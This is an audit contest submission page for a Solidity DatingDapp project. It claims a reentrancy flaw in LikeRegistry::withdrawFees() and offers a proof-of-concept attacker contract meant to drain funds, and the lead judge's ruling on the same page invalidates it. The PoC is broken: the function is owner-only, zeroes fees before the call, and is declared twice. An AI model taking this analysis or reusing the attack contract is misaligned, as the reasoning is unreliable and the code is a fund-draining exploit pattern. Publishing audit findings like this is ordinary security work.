DatingDapp

First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: low
Invalid

Missing Reentrancy LikeRegistry::withdrawFees() fuction.

Summary

The external LikeRegistry::withdrawFees() fuction is missing Reentrancy checks.

Vulnerability Details

Since the LikeRegistry::withdrawFees() fuction is external and also makes call to other contracts, its important to have Reentrancy check.

(bool success,) = payable(owner()).call{value: totalFeesToWithdraw}("");

Impact

Malicious contracts can re-enter the function and drain funds.

POC:

pragma solidity ^0.8.20;
// original contract with relevant snippets (withdrawFees)
contract LikeRegistry {
function withdrawFees() external;
function withdrawFees() external onlyOwner {
require(totalFees > 0, "No fees to withdraw");
uint256 totalFeesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = payable(owner()).call{value: totalFeesToWithdraw}("");
require(success, "Transfer failed");
}
}
contract MaliciousContract {
LikeRegistry public vulnerable;
address public owner;
constructor(address _vulnerable) {
vulnerable = LikeRegistry(_vulnerable);
owner = msg.sender;
}
// Deposit funds into the vulnerable contract
function deposit() external payable {
(bool success, ) = payable(address(vulnerable)).call{value: msg.value}("");
require(success, "Deposit failed");
}
// Start the attack by calling withdrawFees()
function attack() external {
vulnerable.withdrawFees();
}
// Reentrant fallback function
fallback() external payable {
if (address(vulnerable).balance > 0) {
vulnerable.withdrawFees(); // Reenter and drain funds
}
}
// Withdraw stolen funds
function withdraw() external {
require(msg.sender == owner, "Not owner");
payable(owner).transfer(address(this).balance);
}
}

Tools Used

Manual

Recommendations

Add Reentrancy checks

Updates

Appeal created

n0kto Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

invalid_reentrancy_with_no_impact

matchRewards: Contract is created just before and is the one called. No impact. executeTransaction: CEI is followed. Emitting an event in disorder is informational in that context. withdraw: CEI is followed.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.